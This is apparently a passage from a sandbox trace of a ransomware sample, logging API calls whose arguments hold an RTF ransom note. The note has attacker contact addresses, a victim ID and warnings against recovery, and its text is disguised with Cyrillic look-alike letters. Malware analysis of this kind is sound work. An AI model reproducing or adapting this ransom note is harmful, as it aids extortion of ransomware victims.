h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0043.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 